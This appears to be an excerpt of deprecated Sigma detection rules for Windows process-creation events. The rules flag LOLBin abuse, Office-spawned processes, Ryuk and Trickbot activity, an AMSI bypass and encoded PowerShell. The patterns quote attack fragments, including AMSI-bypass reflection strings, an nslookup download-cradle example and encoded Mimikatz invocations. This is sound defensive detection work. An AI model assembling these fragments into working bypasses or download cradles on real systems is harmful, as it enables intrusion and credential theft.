"path": "deprecated/windows/proc_creation_win_cscript_vbs.yml",
"content": "title: Visual Basic Script Execution\nid: 23250293-eed5-4c39-b57a-841c8933a57d\nstatus: deprecated\ndescription: Adversaries may abuse Visual Basic (VB) for execution\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.005/T1059.005.md\nauthor: frack113\ndate: 2022/01/02\nmodified: 2023/03/06\ntags:\n - attack.execution\n - attack.t1059.005\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection_exe:\n - OriginalFileName:\n - 'cscript.exe'\n - 'wscript.exe'\n - Image|endswith:\n - '\\cscript.exe'\n - '\\wscript.exe'\n selection_script:\n CommandLine|contains: '.vbs'\n condition: all of selection_*\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "deprecated/windows/proc_creation_win_execution_mssql_xp_cmdshell_stored_procedure.yml",
"content": "title: Execution via MSSQL Xp_cmdshell Stored Procedure\nid: 344482e4-a477-436c-aa70-7536d18a48c7\nrelated:\n - id: d08dd86f-681e-4a00-a92c-1db218754417\n type: derived\n - id: 7f103213-a04e-4d59-8261-213dddf22314\n type: derived\nstatus: deprecated\ndescription: Detects execution via MSSQL xp_cmdshell stored procedure. Malicious users may attempt to elevate their privileges by using xp_cmdshell, which is disabled by default.\nreferences:\n - https://www.elastic.co/guide/en/security/current/execution-via-mssql-xp_cmdshell-stored-procedure.html\nauthor: Tim Rauch\ndate: 2022/09/28\nmodified: 2023/03/06\ntags:\n - attack.execution\n - attack.t1059\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection_img:\n - Image|endswith: '\\cmd.exe'\n - OriginalFileName: 'Cmd.Exe'\n selection_parent:\n ParentImage|endswith: '\\sqlservr.exe'\n condition: all of selection_*\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_creation_win_filefix_browsers.yml",
"content": "title: FileFix - Suspicious Child Process from Browser File Upload Abuse\nid: 4be03877-d5b6-4520-85c9-a5911c0a656c\nstatus: deprecated\ndescription: |\n Detects potentially suspicious subprocesses such as LOLBINs spawned by web browsers. This activity could be associated with the \"FileFix\" social engineering technique,\n where users are tricked into launching the file explorer via a browser-based phishing page and pasting malicious commands into the address bar.\n The technique abuses clipboard manipulation and disguises command execution as benign file path access, resulting in covert execution of system utilities.\nreferences:\n - https://mrd0x.com/filefix-clickfix-alternative/\nauthor: 0xFustang\ndate: 2025-06-26\nmodified: 2025-11-24\ntags:\n - attack.execution\n - attack.t1204.004\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n ParentImage|endswith:\n - '\\brave.exe'\n - '\\chrome.exe'\n - '\\firefox.exe'\n - '\\msedge.exe'\n Image|endswith:\n - '\\bitsadmin.exe'\n - '\\certutil.exe'\n - '\\cmd.exe'\n - '\\mshta.exe'\n - '\\powershell.exe'\n - '\\pwsh.exe'\n - '\\regsvr32.exe'\n CommandLine|contains: '#'\n condition: selection\nfalsepositives:\n - Legitimate use of PowerShell or other utilities launched from browser extensions or automation tools\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_creation_win_indirect_cmd.yml",
"content": "title: Indirect Command Execution\nid: fa47597e-90e9-41cd-ab72-c3b74cfb0d02\nstatus: deprecated\ndescription: Detect indirect command execution via Program Compatibility Assistant (pcalua.exe or forfiles.exe).\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1202/T1202.md\n - https://eqllib.readthedocs.io/en/latest/analytics/884a7ccd-7305-4130-82d0-d4f90bc118b6.html\nauthor: E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community\ndate: 2019/10/24\nmodified: 2023/01/04\ntags:\n - attack.defense_evasion\n - attack.t1202\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n ParentImage|endswith:\n - '\\pcalua.exe'\n - '\\forfiles.exe'\n condition: selection\nfields:\n - ComputerName\n - User\n - ParentCommandLine\n - CommandLine\nfalsepositives:\n - Need to use extra processing with 'unique_count' / 'filter' to focus on outliers as opposed to commonly seen artifacts.\n - Legitimate usage of scripts.\nlevel: low\n"
},
{
"path": "deprecated/windows/proc_creation_win_indirect_command_execution_forfiles.yml",
"content": "title: Indirect Command Exectuion via Forfiles\nid: a85cf4e3-56ee-4e79-adeb-789f8fb209a8\nrelated:\n - id: fa47597e-90e9-41cd-ab72-c3b74cfb0d02\n type: obsolete\nstatus: deprecated\ndescription: Detects execition of commands and binaries from the context of \"forfiles.exe\". This can be used as a LOLBIN in order to bypass application whitelisting.\nreferences:\n - https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-73d61931b2c77fde294189ce5d62323b416296a7c23ea98a608f425566538d1a\n - https://lolbas-project.github.io/lolbas/Binaries/Forfiles/\nauthor: Tim Rauch (rule), Elastic (idea), E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community\ndate: 2022/10/17\nmodified: 2023/01/04\ntags:\n - attack.defense_evasion\n - attack.t1202\nlogsource:\n product: windows\n category: process_creation\ndetection:\n selection_parent:\n ParentImage|endswith: '\\forfiles.exe'\n selection_c:\n ParentCommandLine|contains:\n - ' /c '\n - ' -c '\n selection_p:\n ParentCommandLine|contains:\n - ' /p '\n - ' -p '\n selection_m:\n ParentCommandLine|contains:\n - ' /m '\n - ' -m '\n filter:\n Image|endswith: '\\cmd.exe'\n CommandLine|contains|all:\n - 'xcopy'\n - 'cmd /c del'\n condition: all of selection_* and not filter\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "deprecated/windows/proc_creation_win_invoke_obfuscation_via_rundll.yml",
"content": "title: Invoke-Obfuscation RUNDLL LAUNCHER\nid: 056a7ee1-4853-4e67-86a0-3fd9ceed7555\nstatus: deprecated\ndescription: Detects Obfuscated Powershell via RUNDLL LAUNCHER\nreferences:\n - https://github.com/SigmaHQ/sigma/issues/1009 #(Task 23)\nauthor: Timur Zinniatullin, oscd.community\ndate: 2020/10/18\nmodified: 2023/02/21\ntags:\n - attack.defense_evasion\n - attack.t1027\n - attack.execution\n - attack.t1059.001\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n CommandLine|contains|all:\n - 'rundll32.exe'\n - 'shell32.dll'\n - 'shellexec_rundll'\n - 'powershell'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "deprecated/windows/proc_creation_win_invoke_obfuscation_via_use_rundll32.yml",
"content": "title: Invoke-Obfuscation Via Use Rundll32\nid: 36c5146c-d127-4f85-8e21-01bf62355d5a\nstatus: deprecated\ndescription: Detects Obfuscated Powershell via use Rundll32 in Scripts\nreferences:\n - https://github.com/SigmaHQ/sigma/issues/1009\nauthor: Nikita Nazarov, oscd.community\ndate: 2019/10/08\nmodified: 2022/12/30\ntags:\n - attack.defense_evasion\n - attack.t1027\n - attack.execution\n - attack.t1059.001\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n CommandLine|contains|all:\n - '&&'\n - 'rundll32'\n - 'shell32.dll'\n - 'shellexec_rundll'\n CommandLine|contains:\n - 'value'\n - 'invoke'\n - 'comspec'\n - 'iex'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_creation_win_lolbas_execution_of_wuauclt.yml",
"content": "title: Monitoring Wuauclt.exe For Lolbas Execution Of DLL\nid: ba1bb0cb-73da-42de-ad3a-de10c643a5d0\nstatus: experimental\ndescription: Adversaries can abuse wuauclt.exe (Windows Update client) to run code execution by specifying an arbitrary DLL.\nreferences:\n - https://dtm.uk/wuauclt/\nauthor: Sreeman\ndate: 2020/10/29\nmodified: 2022/05/27\nlogsource:\n product: windows\n category: process_creation\ndetection:\n selection:\n CommandLine|contains|all:\n - 'wuauclt.exe'\n - '/UpdateDeploymentProvider'\n - '/Runhandlercomserver'\n filter:\n CommandLine|contains:\n - 'wuaueng.dll'\n - 'UpdateDeploymentProvider.dll /ClassId'\n condition: selection and not filter\nfalsepositives:\n - Wuaueng.dll which is a module belonging to Microsoft Windows Update.\nfields:\n - CommandLine\nlevel: medium\ntags:\n - attack.defense_evasion\n - attack.execution\n - attack.t1218\n"
},
{
"path": "deprecated/windows/proc_creation_win_lolbin_findstr.yml",
"content": "title: Abusing Findstr for Defense Evasion\nid: bf6c39fc-e203-45b9-9538-05397c1b4f3f\nstatus: deprecated\ndescription: Attackers can use findstr to hide their artifacts or search specific strings and evade defense mechanism\nreferences:\n - https://lolbas-project.github.io/lolbas/Binaries/Findstr/\n - https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/\n - https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f\nauthor: 'Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative, Nasreddine Bencherchali'\ndate: 2020/10/05\nmodified: 2022/10/12\ntags:\n - attack.defense_evasion\n - attack.t1218\n - attack.t1564.004\n - attack.t1552.001\n - attack.t1105\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection_findstr:\n - CommandLine|contains: findstr\n - Image|endswith: 'findstr.exe'\n - OriginalFileName: 'FINDSTR.EXE'\n selection_cli_download_1:\n CommandLine|contains:\n - ' /v '\n - ' -v '\n selection_cli_download_2:\n CommandLine|contains:\n - ' /l '\n - ' -l '\n selection_cli_creds_1:\n CommandLine|contains:\n - ' /s '\n - ' -s '\n selection_cli_creds_2:\n CommandLine|contains:\n - ' /i '\n - ' -i '\n condition: selection_findstr and (all of selection_cli_download* or all of selection_cli_creds*)\nfalsepositives:\n - Administrative findstr usage\nlevel: medium\n"
},
{
"path": "deprecated/windows/proc_creation_win_lolbin_office.yml",
"content": "title: Suspicious File Download Using Office Application\nid: 0c79148b-118e-472b-bdb7-9b57b444cc19\nstatus: test\ndescription: Detects the usage of one of three Microsoft office applications (Word, Excel, PowerPoint) to download arbitrary files\nreferences:\n - https://lolbas-project.github.io/lolbas/OtherMSBinaries/Powerpnt/\n - https://lolbas-project.github.io/lolbas/OtherMSBinaries/Excel/\n - https://lolbas-project.github.io/lolbas/OtherMSBinaries/Winword/\n - https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191\nauthor: Beyu Denis, oscd.community\ndate: 2019/10/26\nmodified: 2023/02/04\ntags:\n - attack.command_and_control\n - attack.t1105\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n Image|endswith:\n - '\\powerpnt.exe'\n - '\\winword.exe'\n - '\\excel.exe'\n CommandLine|contains: 'http'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_creation_win_lolbin_rdrleakdiag.yml",
"content": "title: Process Memory Dumped Via RdrLeakDiag.EXE\nid: 6355a919-2e97-4285-a673-74645566340d\nstatus: deprecated\ndescription: Detects uses of the rdrleakdiag.exe LOLOBIN utility to dump process memory\nreferences:\n - https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/\nauthor: Florian Roth (Nextron Systems)\ndate: 2022/01/04\nmodified: 2023/04/24\ntags:\n - attack.defense_evasion\n - attack.t1036\n - attack.t1003.001\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection1:\n Image|endswith: '\\rdrleakdiag.exe'\n CommandLine|contains: '/fullmemdmp'\n selection2:\n CommandLine|contains|all:\n - '/fullmemdmp'\n - ' /o '\n - ' /p '\n condition: selection1 or selection2\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_creation_win_lolbins_by_office_applications.yml",
"content": "title: New Lolbin Process by Office Applications\nid: 23daeb52-e6eb-493c-8607-c4f0246cb7d8\nstatus: deprecated\ndescription: This rule will monitor any office apps that spins up a new LOLBin process. This activity is pretty suspicious and should be investigated.\nreferences:\n - https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/\n - https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e\n - https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml\n - https://github.com/splunk/security_content/blob/develop/detections/endpoint/office_spawning_control.yml\n - https://twitter.com/andythevariable/status/1576953781581144064?s=20&t=QiJILvK4ZiBdR8RJe24u-A\n - https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set\nauthor: 'Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule), Michael Haag, Christopher Peacock @securepeacock (Update), SCYTHE @scythe_io (Update)'\ndate: 2021/08/23\nmodified: 2023/02/04\ntags:\n - attack.t1204.002\n - attack.t1047\n - attack.t1218.010\n - attack.execution\n - attack.defense_evasion\nlogsource:\n product: windows\n category: process_creation\ndetection:\n #useful_information: add more LOLBins to the rules logic of your choice.\n selection:\n Image|endswith:\n - '\\regsvr32.exe'\n - '\\rundll32.exe'\n - '\\msiexec.exe'\n - '\\mshta.exe'\n - '\\verclsid.exe'\n - '\\msdt.exe'\n - '\\control.exe'\n - '\\msidb.exe'\n ParentImage|endswith:\n - '\\winword.exe'\n - '\\excel.exe'\n - '\\powerpnt.exe'\n - '\\msaccess.exe'\n - '\\mspub.exe'\n - '\\eqnedt32.exe'\n - '\\visio.exe'\n - '\\wordpad.exe'\n - '\\wordview.exe'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_creation_win_mal_ryuk.yml",
"content": "title: Ryuk Ransomware Command Line Activity\nid: 0acaad27-9f02-4136-a243-c357202edd74\nrelated:\n - id: c37510b8-2107-4b78-aa32-72f251e7a844\n type: similar\nstatus: deprecated\ndescription: Detects Ryuk Ransomware command lines\nreferences:\n - https://research.checkpoint.com/ryuk-ransomware-targeted-campaign-break/\nauthor: Vasiliy Burov\ndate: 2019/08/06\nmodified: 2023/02/03\ntags:\n - attack.execution\n - attack.t1204\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection1:\n Image|endswith:\n - '\\net.exe'\n - '\\net1.exe'\n CommandLine|contains: 'stop'\n selection2:\n CommandLine|contains:\n - 'samss'\n - 'audioendpointbuilder'\n - 'unistoresvc_'\n condition: all of selection*\nfalsepositives:\n - Unlikely\nlevel: critical\n"
},
{
"path": "deprecated/windows/proc_creation_win_malware_trickbot_recon_activity.yml",
"content": "title: Trickbot Malware Reconnaissance Activity\nid: 410ad193-a728-4107-bc79-4419789fcbf8\nrelated:\n - id: 5cc90652-4cbd-4241-aa3b-4b462fa5a248\n type: similar\nstatus: deprecated\ndescription: Detects potential reconnaissance activity used by Trickbot malware. Trickbot enumerates domain/network topology and executes certain commands automatically every few minutes.\nreferences:\n - https://www.sneakymonkey.net/2019/05/22/trickbot-analysis/\n - https://app.any.run/tasks/f74c5157-8508-4ac6-9805-d63fe7b0d399/\nauthor: David Burkett, Florian Roth\ndate: 2019/12/28\nmodified: 2023/04/28\ntags:\n - attack.discovery\n - attack.t1482\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n ParentImage|endswith: '\\cmd.exe'\n Image|endswith: '\\nltest.exe'\n CommandLine|contains: '/domain_trusts /all_trusts'\n condition: selection\nfalsepositives:\n - Rare System Admin Activity\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_creation_win_mavinject_proc_inj.yml",
"content": "title: MavInject Process Injection\nid: 17eb8e57-9983-420d-ad8a-2c4976c22eb8\nstatus: deprecated\ndescription: Detects process injection using the signed Windows tool Mavinject32.exe\nauthor: Florian Roth (Nextron Systems)\nreferences:\n - https://twitter.com/gN3mes1s/status/941315826107510784\n - https://reaqta.com/2017/12/mavinject-microsoft-injector/\n - https://twitter.com/Hexacorn/status/776122138063409152\ndate: 2018/12/12\nmodified: 2022/12/19\ntags:\n - attack.t1055.001\n - attack.t1218\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n CommandLine|contains: ' /INJECTRUNNING '\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_creation_win_msdt_diagcab.yml",
"content": "title: Execute MSDT.EXE Using Diagcab File\nid: 6545ce61-a1bd-4119-b9be-fcbee42c0cf3\nstatus: deprecated\ndescription: Detects diagcab leveraging the \"ms-msdt\" handler or the \"msdt.exe\" binary to execute arbitrary commands as seen in CVE-2022-30190\nreferences:\n - https://github.com/GossiTheDog/ThreatHunting/blob/e85884abbf05d5b41efc809ea6532b10b45bd05c/AdvancedHuntingQueries/DogWalk-DiagCab\n - https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-9015912909545e72ed42cbac4d1e96295e8964579c406d23fd9c47a8091576a0\n - https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd\nauthor: GossiTheDog, frack113\ndate: 2022/06/09\nmodified: 2023/02/06\ntags:\n - attack.defense_evasion\n - attack.t1202\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection_img:\n - Image|endswith: '\\msdt.exe'\n - OriginalFileName: 'msdt.exe'\n selection_cmd:\n CommandLine|contains:\n - ' /cab'\n - ' -cab'\n condition: all of selection_*\nfalsepositives:\n - Legitimate usage of \".diagcab\" files\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_creation_win_new_service_creation.yml",
"content": "title: New Service Creation\nid: 7fe71fc9-de3b-432a-8d57-8c809efc10ab\nstatus: deprecated\ndescription: Detects creation of a new service.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md\nauthor: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community\ndate: 2019/10/21\nmodified: 2023/02/20\ntags:\n - attack.persistence\n - attack.privilege_escalation\n - attack.t1543.003\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection_sc:\n Image|endswith: '\\sc.exe'\n CommandLine|contains|all:\n - 'create'\n - 'binPath'\n selection_posh:\n CommandLine|contains|all:\n - 'New-Service'\n - '-BinaryPathName'\n condition: 1 of selection*\nfalsepositives:\n - Legitimate administrator or user creates a service for legitimate reasons.\nlevel: low\n"
},
{
"path": "deprecated/windows/proc_creation_win_nslookup_pwsh_download_cradle.yml",
"content": "title: Nslookup PwSh Download Cradle\nid: 72671447-4352-4413-bb91-b85569687135\nstatus: deprecated\ndescription: This rule tries to detect powershell download cradles, e.g. powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]\nreferences:\n - https://twitter.com/alh4zr3d/status/1566489367232651264\nauthor: Zach Mathis (@yamatosecurity)\ndate: 2022/09/06\nmodified: 2022/12/14 # Deprecation date\ntags:\n - attack.command_and_control\n - attack.t1105\n - attack.t1071.004\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n ParentImage|endswith: '\\powershell.exe'\n Image|contains: nslookup\n CommandLine|contains: '=txt '\n condition: selection\nlevel: medium\n"
},
{
"path": "deprecated/windows/proc_creation_win_odbcconf_susp_exec.yml",
"content": "title: Application Whitelisting Bypass via DLL Loaded by odbcconf.exe\nid: 65d2be45-8600-4042-b4c0-577a1ff8a60e\nstatus: deprecated\ndescription: Detects defence evasion attempt via odbcconf.exe execution to load DLL\nreferences:\n - https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/\n - https://twitter.com/Hexacorn/status/1187143326673330176\n - https://redcanary.com/blog/raspberry-robin/\n - https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-94a1964b682707e4e3f77dd61a3bfface5401d08d8cf81145f388e09614aceca\nauthor: Kirill Kiryanov, Beyu Denis, Daniil Yugoslavskiy, oscd.community\ndate: 2019/10/25\nmodified: 2023/05/22\ntags:\n - attack.defense_evasion\n - attack.t1218.008\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection_1_img:\n - Image|endswith: '\\odbcconf.exe'\n - OriginalFileName: 'odbcconf.exe'\n selection_1_cli:\n CommandLine|contains:\n - '-a'\n - '-f'\n - '/a'\n - '/f'\n - 'regsvr'\n selection_2_parent:\n ParentImage|endswith: '\\odbcconf.exe'\n selection_2_img:\n - Image|endswith: '\\rundll32.exe'\n - OriginalFileName: 'RUNDLL32.EXE'\n condition: all of selection_1_* or all of selection_2_*\nfalsepositives:\n - Legitimate use of odbcconf.exe by legitimate user\nlevel: medium\n"
},
{
"path": "deprecated/windows/proc_creation_win_office_from_proxy_executing_regsvr32_payload.yml",
"content": "title: Excel Proxy Executing Regsvr32 With Payload\nid: 9d1c72f5-43f0-4da5-9320-648cf2099dd0\nstatus: deprecated\ndescription: |\n Excel called wmic to finally proxy execute regsvr32 with the payload.\n An attacker wanted to break suspicious parent-child chain (Office app spawns LOLBin).\n But we have command-line in the event which allow us to \"restore\" this suspicious parent-child chain and detect it.\n Monitor process creation with \"wmic process call create\" and LOLBins in command-line with parent Office application processes.\nreferences:\n - https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/\n - https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml\nauthor: 'Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)'\ndate: 2021/08/23\nmodified: 2022/12/02\ntags:\n - attack.t1204.002\n - attack.t1047\n - attack.t1218.010\n - attack.execution\n - attack.defense_evasion\nlogsource:\n product: windows\n category: process_creation\ndetection:\n #useful_information: add more LOLBins to the rules logic of your choice.\n selection_img:\n - Image|endswith: '\\wbem\\WMIC.exe'\n - OriginalFileName: 'wmic.exe'\n selection_other:\n CommandLine|contains:\n - 'regsvr32'\n - 'rundll32'\n - 'msiexec'\n - 'mshta'\n - 'verclsid'\n ParentImage|endswith:\n - '\\winword.exe'\n - '\\excel.exe'\n - '\\powerpnt.exe'\n CommandLine|contains|all:\n - 'process'\n - 'create'\n - 'call'\n condition: all of selection_*\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_creation_win_office_from_proxy_executing_regsvr32_payload2.yml",
"content": "title: Excel Proxy Executing Regsvr32 With Payload Alternate\nid: c0e1c3d5-4381-4f18-8145-2583f06a1fe5\nstatus: deprecated\ndescription: |\n Excel called wmic to finally proxy execute regsvr32 with the payload.\n An attacker wanted to break suspicious parent-child chain (Office app spawns LOLBin).\n But we have command-line in the event which allow us to \"restore\" this suspicious parent-child chain and detect it.\n Monitor process creation with \"wmic process call create\" and LOLBins in command-line with parent Office application processes.\nreferences:\n - https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/\n - https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml\nauthor: 'Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)'\ndate: 2021/08/23\nmodified: 2022/12/02\ntags:\n - attack.t1204.002\n - attack.t1047\n - attack.t1218.010\n - attack.execution\n - attack.defense_evasion\nlogsource:\n product: windows\n category: process_creation\ndetection:\n #useful_information: add more LOLBins to the rules logic of your choice.\n selection1:\n CommandLine|contains:\n - 'regsvr32'\n - 'rundll32'\n - 'msiexec'\n - 'mshta'\n - 'verclsid'\n selection2:\n - Image|endswith: '\\wbem\\WMIC.exe'\n - CommandLine|contains: 'wmic '\n selection3:\n ParentImage|endswith:\n - '\\winword.exe'\n - '\\excel.exe'\n - '\\powerpnt.exe'\n selection4:\n CommandLine|contains|all:\n - 'process'\n - 'create'\n - 'call'\n condition: all of selection*\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_creation_win_office_spawning_wmi_commandline.yml",
"content": "title: Office Applications Spawning Wmi Cli Alternate\nid: 04f5363a-6bca-42ff-be70-0d28bf629ead\nstatus: deprecated\ndescription: Initial execution of malicious document calls wmic to execute the file with regsvr32\nreferences:\n - https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/\n - https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml\nauthor: Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)\ndate: 2021/08/23\nmodified: 2023/02/04\ntags:\n - attack.t1204.002\n - attack.t1047\n - attack.t1218.010\n - attack.execution\n - attack.defense_evasion\nlogsource:\n product: windows\n category: process_creation\ndetection:\n #useful_information: Add more office applications to the rule logic of choice\n selection1:\n - Image|endswith: '\\wbem\\WMIC.exe'\n - CommandLine|contains: 'wmic '\n selection2:\n ParentImage|endswith:\n - '\\winword.exe'\n - '\\excel.exe'\n - '\\powerpnt.exe'\n - '\\msaccess.exe'\n - '\\mspub.exe'\n - '\\eqnedt32.exe'\n - '\\visio.exe'\n condition: all of selection*\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_creation_win_possible_applocker_bypass.yml",
"content": "title: Possible Applocker Bypass\nid: 82a19e3a-2bfe-4a91-8c0d-5d4c98fbb719\nstatus: deprecated\ndescription: Detects execution of executables that can be used to bypass Applocker whitelisting\nreferences:\n - https://github.com/carnal0wnage/ApplicationWhitelistBypassTechniques/blob/b348846a3bd2ff45e3616d63a4c2b4426f84772c/TheList.txt\n - https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1127.001/T1127.001.md\nauthor: juju4\ndate: 2019/01/16\nmodified: 2022/11/03\ntags:\n - attack.defense_evasion\n - attack.t1218.004\n - attack.t1218.009\n - attack.t1127.001\n - attack.t1218.005\n - attack.t1218 # no way to map 1:1, so the technique level is required\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n CommandLine|contains:\n - '\\msdt.exe'\n - '\\installutil.exe'\n - '\\regsvcs.exe'\n - '\\regasm.exe'\n #- '\\regsvr32.exe' # too many FPs, very noisy\n - '\\msbuild.exe'\n - '\\ieexec.exe'\n #- '\\mshta.exe'\n #- '\\csc.exe'\n condition: selection\nfalsepositives:\n - False positives depend on scripts and administrative tools used in the monitored environment\n - Using installutil to add features for .NET applications (primarily would occur in developer environments)\nlevel: low\n"
},
{
"path": "deprecated/windows/proc_creation_win_powershell_amsi_bypass_pattern_nov22.yml",
"content": "title: PowerShell AMSI Bypass Pattern\nid: 4f927692-68b5-4267-871b-073c45f4f6fe\nstatus: deprecated\ndescription: Detects attempts to disable AMSI in the command line. It is possible to bypass AMSI by disabling it before loading the main payload.\nauthor: '@Kostastsale'\nreferences: \n - https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/\ndate: 2022/11/04\nmodified: 2023/02/03\ntags:\n - attack.defense_evasion\n - attack.t1562.001\n - attack.execution\nlogsource:\n product: windows\n category: process_creation\ndetection:\n selection1:\n Image|endswith: \n - '\\powershell.exe'\n - '\\pwsh.exe'\n - '\\powershell_ise.exe'\n CommandLine|contains|all:\n - '[Ref].Assembly.GetType'\n - 'SetValue($null,$true)'\n - 'NonPublic,Static'\n condition: selection1\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_creation_win_powershell_base64_invoke_susp_cmdlets.yml",
"content": "title: Malicious Base64 Encoded Powershell Invoke Cmdlets\nid: fd6e2919-3936-40c9-99db-0aa922c356f7\nrelated:\n - id: 6385697e-9f1b-40bd-8817-f4a91f40508e\n type: similar\nstatus: deprecated\ndescription: Detects base64 encoded powershell cmdlet invocation of known suspicious cmdlets\nreferences:\n - https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/\nauthor: pH-T (Nextron Systems)\ndate: 2022/05/31\nmodified: 2023/01/30\ntags:\n - attack.execution\n - attack.t1059.001\n - attack.defense_evasion\n - attack.t1027\nlogsource:\n category: process_creation\n product: windows\ndetection:\n selection:\n CommandLine|contains:\n # Invoke-BloodHound\n - 'SQBuAHYAbwBrAGUALQBCAGwAbwBvAGQASABvAHUAbgBkA'\n - 'kAbgB2AG8AawBlAC0AQgBsAG8AbwBkAEgAbwB1AG4AZA'\n - 'JAG4AdgBvAGsAZQAtAEIAbABvAG8AZABIAG8AdQBuAGQA'\n # Invoke-Mimikatz\n - 'SQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoA'\n - 'kAbgB2AG8AawBlAC0ATQBpAG0AaQBrAGEAdAB6A'\n - 'JAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAeg'\n # Invoke-WMIExec\n - 'SQBuAHYAbwBrAGUALQBXAE0ASQBFAHgAZQBjA'\n - 'kAbgB2AG8AawBlAC0AVwBNAEkARQB4AGUAYw'\n - 'JAG4AdgBvAGsAZQAtAFcATQBJAEUAeABlAGMA'\n condition: selection\nfields:\n - CommandLine\nfalsepositives:\n - Unlikely\nlevel: high\n"
},
{
"path": "deprecated/windows/proc_creation_win_powershell_base64_listing_shadowcopy.yml",
